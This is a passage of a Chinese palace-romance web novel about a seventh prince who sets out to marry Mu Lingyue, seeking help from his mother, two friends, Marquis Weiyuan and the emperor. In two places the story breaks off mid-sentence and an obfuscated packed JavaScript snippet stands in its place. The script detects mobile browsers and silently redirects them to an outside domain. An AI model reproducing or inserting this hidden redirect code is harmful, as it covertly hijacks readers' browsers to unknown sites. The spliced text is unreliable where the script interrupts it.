慕翎玥心绪晃荡,层层涟漪起,面上却是不动声色,“听姐姐的。” 这日傍晚,慕翎玥醒来的消息便传到了朝晖宫,七皇子的住处。 那会儿,沈叙白才吃完晚膳。 这回的“吃完”,敷衍得紧。上了好几道菜,他每样就夹了两筷子,俊脸一直绷着,只差把小爷心情不好几个大字写在脸上了。 内侍们又不敢劝。 旁人或许不知,他们在朝珲宫做事的可是知道殿下对慕家四姑娘有多在意。她染病几日了,至今未醒转,殿下有心思吃饭才有鬼了。 沈叙白听了,总算是松了口气。 “真是个好消息,赏。” “谢殿下。” 朝晖宫总管蔡增荣领着传信的小太监出去了,行进间,塞了一把金瓜子给他。 数量多到传信的小太监心惊,“蔡总管,这……” 蔡增荣截停了他的话,“拿着吧,今儿咱们殿下高兴。” 小太监没再推脱,宫里人都知道七皇子心善人也大方,他的赏拿在手里是不烫手的。 “多谢蔡总管,多谢殿下。” “蔡总管,您说慕家四姑娘会不会成为咱们的七王妃呀?四姑娘也是个好处的,模样和仙女似的。” 蔡增荣敲了下他的头,“出了朝晖宫,可别这么多话了。” 小太监:“多谢蔡总管提点。我在外面做事,有时候一天都说不了两句话。” 蔡增荣:“如此甚好。” 小太监:“那之前的问题?” 蔡增荣:“……” 又敲了下他的头,这回力道可比先前重多了,打得小太监哇哇叫, 但蔡增荣到底是给了他答案:“瞧这走向,有机会。” 小太监心满意足地离开了。 蔡增荣留在原地,迟迟没有进一步动作,神色冷然。 他在想七皇子和慕家四姑娘的事儿。 确实有机会,但皇家一直有条不成文的规定,一族无二妃。 倘若在殿下和慕家四姑娘的婚事定下来之前有皇子和慕家结亲了,那殿下就是再喜欢也无法迎娶慕家四姑娘了。慕家二姑娘慕翎慧也刚好到了议亲的年纪。 想到这些,蔡增荣觉得很有必要劝一劝自家殿下。动作慢了真有可能出现意外,到时候他哭都没地儿哭。 有了决定,蔡增荣疾步回到了朝晖殿中,彼时心情大好的沈叙白正躺在摇椅上翻话本。听到脚步声儿,目光也未从话本上挪开,只是散漫道:“老蔡,你急什么啊?” “不用急,不用慌,天塌下来都有小爷我给你顶着。” 蔡增荣觉得自家小主子太让人愁了,踱到他身边, “来人,给我拿个马扎。” “诺。” 马扎到了,放定,蔡增荣坐下。 沈叙白察觉到他的不对劲儿了,长腿利落往前一压。他坐直,摇椅停止了晃动。 “老蔡,你有话和我说?” 蔡增荣认真点头。 沈叙白:“好事还是坏事?” 蔡增荣思考了一瞬,“好事儿。” 沈叙白:“好事儿你冷着张老脸做什么?” 蔡增荣:“老蔡我当年也是皇城一俊,我是因为谁俊脸变老脸的?” 沈叙白:“……” 算了,跳过这茬。 “那你说吧,有什么事儿?” 蔡增荣:“殿下,您这般担心慕家四姑娘,可是心悦于她?” 沈叙白耳根子陡然发热,速度快到他都无法控制。 “我说你问这个干什么呀?” “奴才这不是怕您难过吗?” “我为什么会难过?阿翎妹妹都醒了。” “殿下有没有听过一族无二妃这条宫规?” 沈叙白茫然地摇了摇头。 蔡增荣:“……” 看看,他的俊脸就是这样变老脸的。 “殿下,慕家本就富甲一方,如今慕大人在朝堂风头强盛,离吏部尚书的位置只有一步之遥了。慕家姑娘在众皇子眼里,可都是香饽饽啊。” “倘若他们中的一位娶了慕家二姑娘,更甚者直接奔着慕家四姑娘去的,殿下你当如何?” 沈叙白听明白了,手慢没媳妇儿呗。 他甚至脑补了一番阿翎妹妹嫁给其他皇子的场景,心绪突然躁动,生出了一种想捅破天的冲动。 “还能如何?抢在他们之前,和慕家结亲。” 蔡增荣觉得小主子到底是长大了,倍感欣慰。 “那殿下打算什么时候去和皇后娘娘说?” 沈叙白:“……” 须臾冷滞后,他睇着蔡增荣问,很认真的意态:“万一阿翎妹妹不喜欢我怎么办?” 蔡增荣:“……殿下生得如此俊俏,武艺超凡,又是帝后嫡子,哪家姑娘会不喜欢啊?” “就算是不喜欢,殿下也能发散魅力让四姑娘喜欢上您。而且老奴觉得四姑娘肯定也是喜欢您的,她每次瞧见您都会弯眼笑,那双眼儿当真弯得和月牙似的,漂亮极了。” 蔡增荣的话给了沈叙白很大的信心,他伸手拍了下他的肩膀,“老蔡,这个家没你不行的。” 蔡增荣:“有殿下这句话,老奴这俊脸变老脸也是值了。” 沈叙白被这话逗笑,“等着,我去给你寻些变美的稀罕货。涂涂抹抹,老脸能重焕新光,俊俊的。” 沈叙白当下打定主意,等过去阿翎妹妹身体更好些,他就去寻她。 试探一下她的想法。 只要她不排斥同他成婚,他就去求父皇和母后赐婚。 然而沈叙白没想到的是,第二天的家宴老蔡担心的“意外”就发生了。 三月十二,怀安帝召了一众妃嫔和皇子在怀秀宫用膳,书艺局献唱了新戏。 虽不算顶顶热闹的,但对比先前的家宴,今儿也算得上隆重。 大半个时辰如水滑过,氛围渐渐火热。 就在这时,五皇子沈叙兴突然起身,朝着帝王的方向躬身。 “儿臣想向父皇求个恩典。” 怀安帝今儿心情明显不错,笑容盈面,“说。” 沈叙兴:“儿臣想请父皇赐婚。” 沈叙兴是宁妃娘娘所生,偌大后宫,她的存在感并不强。但其实宁妃有骄纵的资本,她的家族乃东部最显赫的世家之一,屏东王氏。 答案出乎意料。 怀安帝眼尾轻挑了下,目光随后落到了宁妃身上,“我们小五这是看上哪家姑娘了?” 宁妃笑容宠溺,“慕家二姑娘。” 一听这话,沈叙白心不由一咯噔。 他娶妻路上的绊脚石竟来得如此之快。 他身旁沈叙清低眉敛眼,气息平和。 仿佛事不关己,高高挂起。 怀安帝面露笑意:“有眼光,但孤隐约记得,慕家二姑娘长了小五几个月?” 沈叙兴:“俗话说得好女大三抱金砖。慕二姑娘长了小五几个月,若是小五有幸能娶到慕二姑娘,不是 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“此事孤需仔细想想,今儿就到这吧。” 帝王的兴致被破坏殆尽,疾步离去,不曾回头。 帝王离去,皇后为尊。 再怎么不情愿,也是要收尾的。 岑惠仪目光扫向宁妃,清婉和孤高两种截然不同的特质同时在她身上显现,“什么时候,皇子的婚事能跳过本宫了?” 闻言,宁妃和五皇子齐齐跪了下来。 回话的是五皇子:“母后,是儿臣太心急了失了分寸。” “求母后责罚,下回定是不会了。” 皇后并未应答,目光转向沈叙清,“小五要罚,你也逃不了。” “从明儿开始,为期半个月,你俩结伴清扫藏书阁修身养性。本宫想到时就会走一趟,发现了一粒尘都会加罚。” “你俩可听清楚了?” 沈叙清和沈叙兴齐齐叩首,“儿臣明白了。” “那今儿就到这了,回吧。” “小七,你随本宫来。” 沈叙白闻言站起,凑到母亲身边,将她扶起, “儿臣最近可没干坏事。” 皇后娘娘但笑不语。 母子俩人相偕离开,身后声浪不断。 “恭送皇后娘娘。” 尊重明晃晃显出,也不得不。 无论这宫里有多少美人,谁也动摇岑惠仪在帝王心里的地位。 帝都无人不知,岑惠仪是帝王白月光,她是帝王用了手段从宣明宗手里夺来的。二十多年过去了,恩宠仍未见颓势。这还是岑惠仪对陛下不冷不热的情况,若皇后有意争宠。这份恩宠能达到什么地步,无人知晓。 到了中宫,皇后便挣开了沈叙白的搀扶,柔柔笑道:“在这殿内寻一处你看着顺眼的地儿跪下。” 沈叙白瞥了眼洪嬷嬷,嬷嬷“心虚”垂眸,他顿时什么都明白了。 红参的事儿暴露了。 有错在先,沈叙白跪得那是相当快。跪仙女娘亲,他是一点负担没有的。 “母后,是小七错了。” 岑惠仪坐主位,看着沈叙白,“错在哪儿?” 沈叙白:“儿臣拿了您的红参送给阿祥了。” 岑惠仪:“确定是送给阿祥吗?” 宁跃城三少之名帝王都知道了,皇后又怎会不知阿祥是谁呢。三个没心眼的,整日只知道吃喝闲耍,也不知道何时才能懂事些。 沈叙白原是想插科打诨混过去的。他亲娘他还不了解吗?心比嘴软多了。 从小到大他多的是顽劣的时候,母后都不曾打过他一下。但一想到先前在怀秀宫两位哥哥的作为,他觉得有些事儿应当同母后说说了。 他朝着皇后磕头。 直起身时,以前所未有的认真态度:“母后,那只红参儿臣是拿去送给慕家四姑娘的。她身子骨很弱,淋点雨都能病几天,我想送她支红参补补。” “这宁跃城这么多姑娘,你为什么独独对慕家四姑娘这般在意?” “儿臣心悦她,儿臣想娶她。” “从少时到白头,唯她一人。” 5. 第 5 章 从少时到白头,唯她一人。 岑惠仪因这话愣在当场。 曾经她也梦想着拥有一段这样的感情,并且有过机会。只可惜世事难料,她终是入了宫成了帝王的女人。明明不愿的,却还是要和别的女人分享丈夫。 “母后。” 沈叙白察觉到了母亲在晃神,低低唤了声。 岑惠仪回过神来,“母后听着呢。” “那母后如何想的?儿臣能娶慕家四姑娘为妻吗?” 岑惠仪直言:“倘若你在今日之前同母后求了这事儿,母后必定会让你如愿。现在,只能看你的本事了。” “母后的意思是让我和哥哥们一争?” “可以这么说。” 岑惠仪柔声回道。 “过去母后教你心安即可,未见得凡事都要同人争。道理没错,但你务必记得当母后的教导同你的心意发生冲突时,永远以你的心意为主。” “若你真心喜爱慕家四姑娘,你便去争去斗,但这回母后不能帮你。” 岑惠仪这段时日总是在做同一个梦,梦里小七孤单地躺在皇族圣地神龙潭旁,他的两只手腕在流血,生机微无。 明明知道梦不可信甚至有可能是反的,她还是心神不宁,她接受不了她的小七落得这么个下场。 昨日,她召见了国师洛承天,同他聊了这个梦境。 洛承天说:若讲现实,娘娘可能是在忧虑七皇子的未来。三皇子自小心思深沉手段尖锐,这一点别人或许看不出,但岑惠仪一个做母亲的又是这天下少有的才女慧极多智,她如何能看不出? 可三皇子是长嫡,他未来继位的可能性是诸位皇子中最大的。他登基后,能不能容得下他的胞弟很难讲的。 往神妙了讲:可能是某个位面的七皇子遭遇了这般境遇,因缘际会显化于皇后娘娘的梦里。它或许是在提示皇后娘娘做些什么,毕竟结果太过惨烈了。 聊完,岑惠仪一夜没睡。 回想过去种种,她觉得她对小七的教养出了些问题。 她从前从未教过他斗。 她想着他是皇子,中宫嫡出,未来帝君是他的兄长。他生来就站在这世间至高点,他需要和人斗什么呢?可她忘记了有时候最狠的是亲人。叙清未必会那般狠,但她不得不防。 “如何斗都可以?” “是。倘若有一天兄长不似兄长,你也不必尊他敬他。你不用担心母后左右为难,母后的因果缘法母后会自己消解。” “懂了吗?” “懂了。” “那回吧。从明儿开始为期十五天,将御花园南侧的那块空地翻一遍。种什么,地翻了母后再通知你。” 沈叙白:“……”确定了,这是亲娘。 沈叙白走后,洪嬷嬷放了盏安神的热花茶在岑惠仪手边。 鲜花晾晒而成,并不会影响睡眠。 同时说道,“叮嘱了小殿下,娘娘便将自个儿松松,太过忧虑对您的身体不好。” 岑惠仪:“嬷嬷,您说小七将本宫的话听进去了吗?” 洪嬷嬷:“奴婢觉得听进去了。咱们小殿下除了年纪比几个哥哥小,其他的都不可能比他们差。” 洪嬷嬷的话将岑惠仪心中的不安抹去了几分,她笑了声,“那咱们就一道瞧瞧,他能不能凭借自己的本事娶到自己的心上人。” “不瞒娘娘说,奴婢期待得紧。宁跃城三少,还是有点本事在身上的。” 翌日,沈叙白又溜出宫了。但这回不是为了见慕家四姑娘,而是找宁跃城三人中的另外两人,李霖智和慕翎祥。 善花茶楼,最高层的最大雅间。 开窗,侧目而望,可见皇城根下繁盛的风景。 三人刚坐定,沈叙白便和对面的两个人说,“今儿随便点,小爷我请客。” 李霖智夸张叫嚷:“哎哟,今儿咱大诏的太阳是从西边儿出来的?七爷这样的抠门精都主动请客?” 慕翎祥笑,俊朗又斯文:“咱们七爷可不是抠门精,前两日他还给我送了支半人长的红参呢。” 李霖智目光转向慕翎祥:“你没这面子,这红参定是给阿翎妹妹的。” 慕翎祥:“那又怎么了?给阿翎的,我总能分得几口。 李霖智:“那吃的时候叫上我,让我也开开眼界。半人长的红参小爷还没见过呢,肯定特别补。” 像是在讨论红参,实则每一句都在谑沈叙白。 沈叙白:“说完了没有?你们以为小爷乐意请你们喝茶?那还不是因为你们有那么一丁点利用价值?” 李霖智精准地摸到了重点,“有事儿求我们?” 沈叙白冷冷地睇他。 慕翎祥:“那要不是这顿饭钱我们三人平分,七爷若想请我们帮忙,只需喊我们一声哥哥。” “声儿不需要太大,我和阿智能听到就行。” 李霖智点头附和。 沈叙白看着听着,忽然就动手了。他从身上摸出了把匕首,狠狠地钉在了李霖智和慕翎祥面前。一串动作迅而猛,让人心惊。 今儿不只要付饭钱了,这张桌也得赔。 李霖智和慕翎祥一个按着小心脏,一个双目圆睁,多少被惊到了。 缓了缓,李霖智谄媚道,“七爷,你真的是我爷爷。有事儿请说,小的定全力相帮。” 慕翎祥频频点头:“带我一个。” 沈叙白这才抽走匕首,笑得那叫一个森冷,“早这样不就好了?” 停止疯闹,沈叙白将昨夜怀秀宫发生的种种讲给了哥俩听。 慕翎祥俊脸泛冷:“心思到底是动到慕家姑娘身上。” 不过想想也正常,慕家有钱又出了个天官,还牵着广袤珑西。慕家两个姑娘又是出了名的貌美有才学…… 李霖智:“这三皇子怎么突然想娶阿翎啊?过去阿翎都很少和他说话。但他是太子最有可能的人选,陛下大概率会让他如愿的。” “心上人变嫂嫂,七哥忍得下啊?” 其实到这一刻为止,沈叙白都未同兄弟们讲过他心悦阿翎,似乎也不需要讲了。 他做的桩桩件件,已足以表达他的心意。 “你们说……咳……” “你咯痰了?” 沈叙白:“……” 狗嘴里吐不出象牙来,说的就是李霖智这种人。 “你们说,我若求娶,阿翎妹妹会不高兴吗?” 余生漫长,和个不爱的人过该是多痛苦。 李霖智和慕翎祥闻言,不由对望。 乖乖,皇家竟然出情种了? 古往今来,多少女子为了皇子正妃之位争破头,到了他们七爷这里,他愿主动奉上王妃之位不说,竟还顾及着女孩子的心情。 “阿翎若不高兴,你就放弃了?”须臾之后,李霖智回过神来,好奇问道。 沈叙白:“不放弃。” 李霖智:“……” 那还问什么?有这闲工夫不如想想如愿? 慕翎祥被这荒唐的对话逗笑了,主动揽活上身,“我回家帮殿下试探一番。” 比起三皇子,慕翎祥觉得沈叙白更适合阿翎。 未来三皇子大概率会登基为帝,后宫佳丽三千,他对阿翎又没什么深厚感情。阿翎那样的性子,即便是为后她也不会开心。 沈叙白就不同了。 抛开他的身世背景不说,他正派有趣又大度,婚后定不会用皇家规矩拘着阿翎。 更重要的是他在意阿翎。 “行。那就辛苦祥哥了。” 沈叙白应得飞快,急切明晃晃,仿佛今儿就是在等这一句。 哥俩见状,齐齐笑出声来。 闹了会儿,慕翎祥将话茬带回正题,“五皇子还好说,三皇子可是你亲哥哥。明面上争的话,皇后娘娘那边……” 沈叙白明白他担心的点,将昨夜皇后娘娘说的话道与他听。 听完,慕翎祥不由赞叹:“皇后娘娘真奇女子。” 一般母亲遇到这事儿,定是会叫兄弟两人中的一个让一让,皇后娘娘却让七皇子去争去斗。 李霖智:“既是这般,我们宁跃城三少就与他们斗上一斗。” “媳妇儿比天大,不斗不行。” 沈叙白咧嘴笑,少年心气明晃晃显于外:“那就开始吧。” 吃饱喝足,三人离开了茶楼。 出乎意料,沈叙白没有即刻回宫,他独自去了威远侯府。 威远侯刘坤诚是个奇人。 他出身贫寒,如今却是位极人臣,帝王对他简直是言听计从。 但这位威远侯名声并不好。 他居上位后没多久就设立了黑鹰司,显于明面的暗杀机构。说是服务帝王,但多数时候都是为他自己铲除异己,手段阴诡毒辣。后来又提议贫民官不可至三品并成功推行,明明从万民中来,却封死了平民上位之路…… 总而言之,是个难以控制的人物。 同他合作,同与虎谋皮没什么差别。 是以一众皇子明争暗斗,还从未有人像沈叙白这般明目张胆地站在威远侯府门口喊, “七皇子沈叙白求见威远侯。” 守门的侍卫:“……” 心里不约而同冒出一个念头:原来七皇子爱溜出宫闲耍是真的。 没人怀疑七皇子是假的。 一是样貌气度隔那摆着;二是皇城根下,除非脑子不清楚想被灭族,否则干不出冒充皇子的事儿。 气氛冷滞须臾,守卫便恭敬地朝着沈叙白行礼, “殿下日安。” “殿下里面请。” “殿下先在茶室坐坐,小的这就去见侯爷。” 守卫将沈叙白引到前院的茶室,热情招呼,不敢有一丝怠慢。 沈叙白表现得如传说中一般随和:“有劳了。” 过了近一盏茶的工夫,进去通报的守卫折返。 他对沈叙白说,“殿下,侯爷有请。” 知晓皇子来了也不出来迎,威远侯的派头此刻明晃晃显于外。 沈叙白也不生气,往里的这一程,神色始终柔和。 “侯爷,殿下到了。” 兜兜转转好一会儿,守卫将沈叙白带到了刘坤城的书房门口。他抬手曲指,在门上敲了敲,低沉冷肃的声音随后传来,“进。” 沈叙白朝着守卫笑,清隽又有礼,“多谢。” 守卫受宠若惊:“殿下真是折煞小的了,里面请。” 木门开了又阖上,沈叙白的身影没入门后。 “坤爷。” 刘坤城的书房很大,两侧摆了好几个高度近乎齐梁的书架,每一个都被塞得满满的。 书架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“硬话谁不会说?你的三哥现在已经掌控了十二亲军卫中的四个,你拿什么和他斗?” 太/祖设立十二亲军卫,每个亲军卫有三万将士,能护帝都周遭安稳,也能援救北地和珑西。 也就是说,现在的沈叙清有能力调动十二万大军。 再过过,可能就是二十万二十五万了。 沈叙白闻言笑,“坤爷果然什么都知道,眼下我确实势微,但三年后就说不定了。” “哦?” 没等刘坤城问,沈叙白就道明了自己的想法,“坤爷可知慕家大夫人的家世?” 刘坤城当然知道。 慕家大夫人潞歆来自军事重地珑西,潞家是珑西声名赫赫的世家。 “倘若我和阿翎顺利成婚,我就向父皇请旨驻边。帝都我是没希望了,那我就换个地儿积蓄力量。那里是阿翎的母家,我在那儿不是横着走?” 最后这一句把刘坤城气笑了,“你就不怕旁人戳你脊梁骨,说你靠媳妇儿上位。” 沈叙白:“这分明叫夫妻齐心,其利断金。” 玩笑话过后,他又将话题带回正题。 “他日三哥若念骨肉亲情,我便常年驻边,护诏国安稳。若三哥心变,我亦有能力守护我爱的人。” 昨夜回到寝宫,沈叙白细想了母后的话。 母后是个很温柔的人,过去十八年她教过他很多,但其中从来没有争斗。 昨夜她突然提及,定是发生了什么。 母后在担心她。 再加之他实在无法放任阿翎嫁给旁人,哪怕那个人是他的三哥。 那他便只能斗了。 一旦斗起来,手里没有军权可不行。 起步太晚,帝都早就没有施为的空间了,那他只能另辟一条路了。 随着沈叙白话落,书房陷入沉默。 过了近半盏茶的工夫,刘坤城的话音破了这沉默。 “请本侯帮忙,你可有筹码?” 沈叙白:“坤爷,以后无论诏国谁做主,我都会尽全力护您安度晚年。” “我还打算找画神化清的山水画来赠您。” 到底是帝后精心教养长大的孩子,一旦用心,招招击中要点。 刘坤城:“挺有诚意,那本侯就帮你一帮。” 沈叙白黑眸一亮:“坤爷打算如何帮?” 刘坤城:“见机行事。” “喝完这杯茶,就回吧。” 沈叙白也没再继续纠缠这茬。刘坤城这样的人物,他答应了就一定会办好,任谁都挑不出一丝毛病。 喝完茶,沈叙白起身,“那坤爷,我走了。” 彼时刘坤城的目光已经回到了卷宗上,没再搭理他。 沈叙白也不在意,阔步离开。 岂料走了约莫两丈,他又停了下来。 再度转身,面对刘坤城,嬉皮笑脸道:“坤爷,能看在我的面子上,把平民官不可至三品这条规定废掉吗?” “也许会有下一个刘坤城呢?能文能武,惊才绝艳。” 刘坤城没理他,仿佛入了定。 6. 第 6 章 书房的门关阖,刘坤城拍了下书桌一角,书房左侧的书墙动了,有一白衣人走出。 君子俊逸,翩翩如玉。 此人赫然是十二亲军卫白虎的首领白鸿。 “咱们的小殿下胆子可不小啊。”行进间,白鸿笑道。 待到他在书桌旁坐下,刘坤城才应他,“着实令人惊喜。” 刘坤城将先前种种道与白鸿听,其间神色浅淡,不像是被惊喜到的样子,但心情绝对也谈不上差。 话落全,白鸿脸上的笑意已尽数敛去。 “七皇子这是一脚踩入了夺嫡之争?” 刘坤城:“现阶段算不上,但未来如何谁知道呢?” 就像从前,谁也想不到爱玩爱闹的七皇子的目光早就放到了珑西边境线。 中宫嫡出的皇子从出身的那一刻就集万千宠爱于一身,愿意放下富贵荣华为国驻边。他能不能一统珑西各自为政的门阀继而在军中站稳脚根还不知,但仅仅是这份心性就足以令他高看他一线。 “大人要落注了吗?” 多少权倾天下的权臣在帝王逝去后被二代连根拔起,刘坤城不得不防。然而直到今天,连七皇子都开始为自己婚事筹谋了,他仍然没表态。 一次都没有。 有几次帝王都问了,他都是笑着避过。 这回依然是。 “再看看。” 看看少年能不能成功飞出皇城,在大乱斗的珑西找到自己的位置。 皇家正统斗珑西门阀,想想就觉得有意思。 …… 慕翎祥回到家中,便径直往妹妹的小院而去。 他到那会儿,慕翎玥正在院中晒太阳。一方精致的茶塌一壶茶,再加两个小点心,宅院深处,小姑娘也能寻到乐子。 “哥,你来了。” 看到大哥,慕翎玥倏地鼻酸眼热,速度快到她根本来不及防备。重活一世,她记得的事儿其实并不多,但她知道若殿下割脉身亡的那日哥哥还活着,他定不会放任不管。 更何况,以帝王之血献祭神龙是为了聚她的魂灵。他没出现,肯定是…… 上一世到底发生了什么,会让他们这群人走到那般绝境。 “哎哟,你怎么又哭上了?” “哎哎哎,你可别哭了,万一被爹爹知道了,哥哥的腚又要遭殃了。” 慕翎玥被逗笑,这又哭又笑的,她自个儿都觉得滑稽。 流光嬉皮笑脸:“大少先前的这些话若传到老爷耳朵里,大少也是要挨揍的。” 慕翎祥瞥了眼流光,目光随后转向阿屏,“你有三十息的时间将她带走。” 言外之意,限定的时间内没带走,他就要罚她了。连主子爷都敢埋汰,再不压压,这丫头能上天。 阿屏朝着慕翎祥福了下身,“大少大度,奴婢立刻将这多话的丫头带走。” 阿屏和流光走后,偌大前院就只剩慕家兄妹两个人了。 慕翎玥的情绪也缓和了不少,她柔声问道:“哥哥过来是来探望妹妹,还是有事儿要说?” 昨儿慕翎祥其实就来过,那会儿慕翎玥睡了没能见着。 “两者都有。” 慕翎玥斟了杯茶,推到了慕翎祥跟前,动作间茶香晃动,是慕翎玥最爱的绿梨秋桂。 “哥哥慢慢说。” 慕翎祥将知道的事儿全都说了,末了,直白问道:“阿翎,你对七哥可有好感?” 慕翎玥因哥哥的直接怔在当场,过了十数息才回过神来,“大哥。” 脸红耳热,不过一瞬间的事儿。 慕翎祥看妹妹害羞了,连忙道歉,“是哥的错,哥太心急了,但哥是真的担心你和翎慧。” “实话实说,哥对三皇子和五皇子的印象都不是太好,哥哥不希望你们同他们沾边。” 慕翎玥突然想起姐姐昨日的异状,粗略地同哥哥说了,“姐姐可是喜欢上宫里的哪位皇子了?” 这事儿慕翎祥还真不知道,但慕翎玥的猜测也不是完全没有依据。他们家翎慧,以前是最讨厌参加宫宴的了。 “哥哥留心一下。若是,哥哥定是劝说她放弃。就她那直神经,在宫里有遭不完的罪。” 慕翎玥忍不住谑哥哥,“这话可不能让姐姐知晓了,不然定是会闹的。” “哥哥这般说话不是等同于在说姐姐笨吗?” 慕翎祥失笑,“哥哥可没这个意思啊。” 说罢,将话茬带回正题。 “差点给你带偏了,我刚问你那事儿你怎么想的?” 慕翎玥逃不过,“哥,这事儿我会亲自和七哥说。” “我不能知道吗?” “我想让七哥最先知道,毕竟他送了我那样大一支红参。” 提及那夸张的大红参,慕翎祥忍不住笑出声:“那明明是送给我的。” 慕翎玥也不和他争论,只是轻柔说道,“劳烦哥哥空闲时将红参送过来给阿翎。” 慕翎祥:“好好好,等会儿傍晚就给你送过来。那般大,一天削一片煮汤,你都要吃上几个月了。” “不愧是皇子,出手就是阔气。” 慕翎祥待了近一盏茶的工夫才起身离开。他往院门去的那一程,慕翎玥一直盯着他的背脊看。能再次看到哥哥,真好啊,她根本舍不得挪开视线。 慕翎祥似有所感,回头看她。 “阿翎,你可是还有话说?” 慕翎玥反应迟钝,过了会儿才笑道,“是啊。” 那一瞬,满园春意不及她明媚, “什么话?说吧。” “这样好的哥哥,肯定会长命百岁的。” 慕翎祥笑死了,“傻儿吧唧的。” 说罢阔步离开,锦袍摆动,欢喜自在意气风发。 * “殿下,陛下在御书房等您。” 刚用过午膳,陛下身边的卫公公便来到了朝晖宫传达帝王旨意。沈叙白看着他,意态轻松:“就本殿一个?” 卫公公细微地勾了下唇:“据奴才所知,就召见了殿下您一个。” 沈叙白:“哦?公公可知因由?” 卫公公像是在胡乱瞎扯:“殿下今日在宫外耍得开心吗?” 沈叙白顿时什么都明白了,父皇已经知晓他出宫见了刘坤城的事儿了。他当即站起身来,两个阔步来到卫公公身旁,大手落在了他的肩上。 “没什么可准备的了,现在出发。” 百无禁忌,哪里有点皇子样儿,蔡增荣突然觉得自己脑壳疼。但这位放在皇宫那也是爷啊,除了惯着还能怎样呢? 蔡增荣只能对卫公公说,“劳烦卫公公和曹总管多多关照,省得惹恼了陛下。” 卫公公笑着:“老蔡,你就放心吧。皇后娘娘的掌心宝,陛下哪里舍得恼啊。” “是吧,殿下?” 沈叙白认真点头。 蔡增荣是彻底没辙了,合着他们小殿下一直是恃宠生骄啊? 到了御书房,帝王还没来得及说什么,沈叙白便往地上一跪。 怀安帝瞥了幺子一眼,语气冷淡, “犯事儿了?” 沈叙白:“没犯事儿。” 怀安帝:“没犯事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16495331|185914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿你跪什么呀?” 沈叙白:“儿臣觉得自个儿没犯事,但父皇没准觉得儿臣犯事了?父皇觉得儿臣犯事了,那儿臣肯定就犯事儿了。” 一串串的,跟唱大戏似的。 怀安帝觉得他荒唐,随手拿了个空白折子砸他。 很精准,沈叙白也不避,折子笔直地砸中了他。 “成日嬉皮笑脸,没个正经。” 沈叙白:“父皇教训得是。” 怀安帝:“……”他和惠仪是怎么生出这样一个混账东西的。但再嫌弃,他都是惠仪的掌心宝,不能不管的。 “你今日为何去见威远侯?你可知现在这事儿已传遍整个宁跃城?” 沈叙白:“儿臣倒不知道自己有这影响力。” 怀安帝字字扎心,“你确实没有。” 但威远侯加上一个中宫嫡出的皇子就不同了。 这事儿一传开,六宫朝臣还有世家,都在猜测他的用意。 “你今儿要是不能给孤一个合理的理由,孤今日必定罚你。” “父皇,儿臣去寻威远侯确实事出有因。” “说。” 沈叙白朝着帝王叩首,直起身时才道,“儿臣想娶慕家四姑娘为妻。” “混账。” “儿臣并不是临时起意,而是真心喜欢阿翎妹妹。父皇,这帝都发生的桩桩件件有什么能逃过您的眼呢?我和阿翎妹妹从小到大接触甚多情谊深厚,动心乃情理之中。” “倒是两个哥哥……” 沈叙白点到为止,在帝王怒气被彻底挑起来之前。 一直在旁听着看着的曹总管忍不住喟叹,“他们小殿下今儿倒怪聪明的。” 沉默良久,等气顺了,帝王才再度开口,“所以你找威远侯帮你?” “是。” “他打算如何帮你?” “威远侯说见机行事,不肯同儿臣细说。” 帝王被这句话生生气笑了,“你就不怕他是在敷衍你?” 沈叙白:“不怕,父皇挑中的人肯定不一般。” “哎哟,咱们小殿下今儿都会拍马屁了?” “那不是。儿臣要是懂拍马屁,父皇现在肯定都给我封王了。” “你想封王?” “富贵闲王,想想就自在,倘若能娶到心上人为妻那就更好了。儿臣,此生~无~憾。” 帝王算是知道了,重点还是娶心上人为妻。 “下去吧。” 问清楚了,帝王毫不留情赶人。 嫌吵。 沈叙白不起来,“父皇,您如何想的?” 帝王顿了数息,突然问他,“这事儿你可曾同你母后说过?” 沈叙白:“说过了,娘亲说能不能娶上媳妇儿要看我的本事,她不会帮我。” 帝王大笑,幸灾乐祸都不带藏的。 “那父皇也不能帮你。你娘说得对,能否娶上媳妇儿要看你自己的本事。” “回吧。” 帝王会如此开怀,是从皇后的话中剥出了深层次的意思。 惠仪也认为为爱争斗是正确的,不然她不会这般教导她的小七。 这是不是意味着皇后在试着原谅他当年的所作所为? 沈叙白这才站起身来,折腰合手,恭敬向帝王行礼,这会儿倒是矜贵有度:“那儿臣告退,父皇也要注意身体。” 话落,沈叙白往后倒退,退了丈余他才转过身阔步离开。 转身的那一瞬,少年的嘴角微微上翘,志得意满。 明显对自己刚才的表现和结果很满意。 7. 第 7 章 沈叙白走后,曹总管适时地给帝王送了盏茶,热度刚刚好,拿到就能喝的程度。 帝王端起,浅啜了两口,“今儿这茶不错。” 曹总管笑道:“茶没什么新鲜的,主要是陛下心情好。” 帝王当即瞥向曹总管,那眼神其实算不上尖锐,却让曹总管背脊冒汗,连连讨饶。 “陛下,是奴才多嘴了。” “知道多嘴就去外面赏自己几巴掌。” “诺,奴才这就去。” 帝王处理了几份折子,便又有些晃神了。 彼时曹总管已经完成了对自己的惩罚,回到了帝王身侧。他当然瞧出了陛下在晃神,因由他也是知晓的。 就是想皇后娘娘了,但因为那桩旧事,每次见面氛围其实都是不冷不热。 陛下想要的,绝不是这个。 “陛……” 曹总管又想劝了,但想起刚才那几巴掌,脸颊现在还疼着呢,顿时消停了。 哪想帝王听见了那细微的声音,循声看了过来,“怎么不说了,怕孤罚你?” 曹总管:“陛下英明。” 帝王:“……” 就老曹这张嘴,若是换个主子,嘴早就被打烂了。 面上,低冷回道:“说,这回不打你。” 曹总管:“陛下宽宏。” 随后道明了心中所想,“陛下若是想念皇后娘娘了,今晚就去瞧瞧,也有好些日子没去了。” 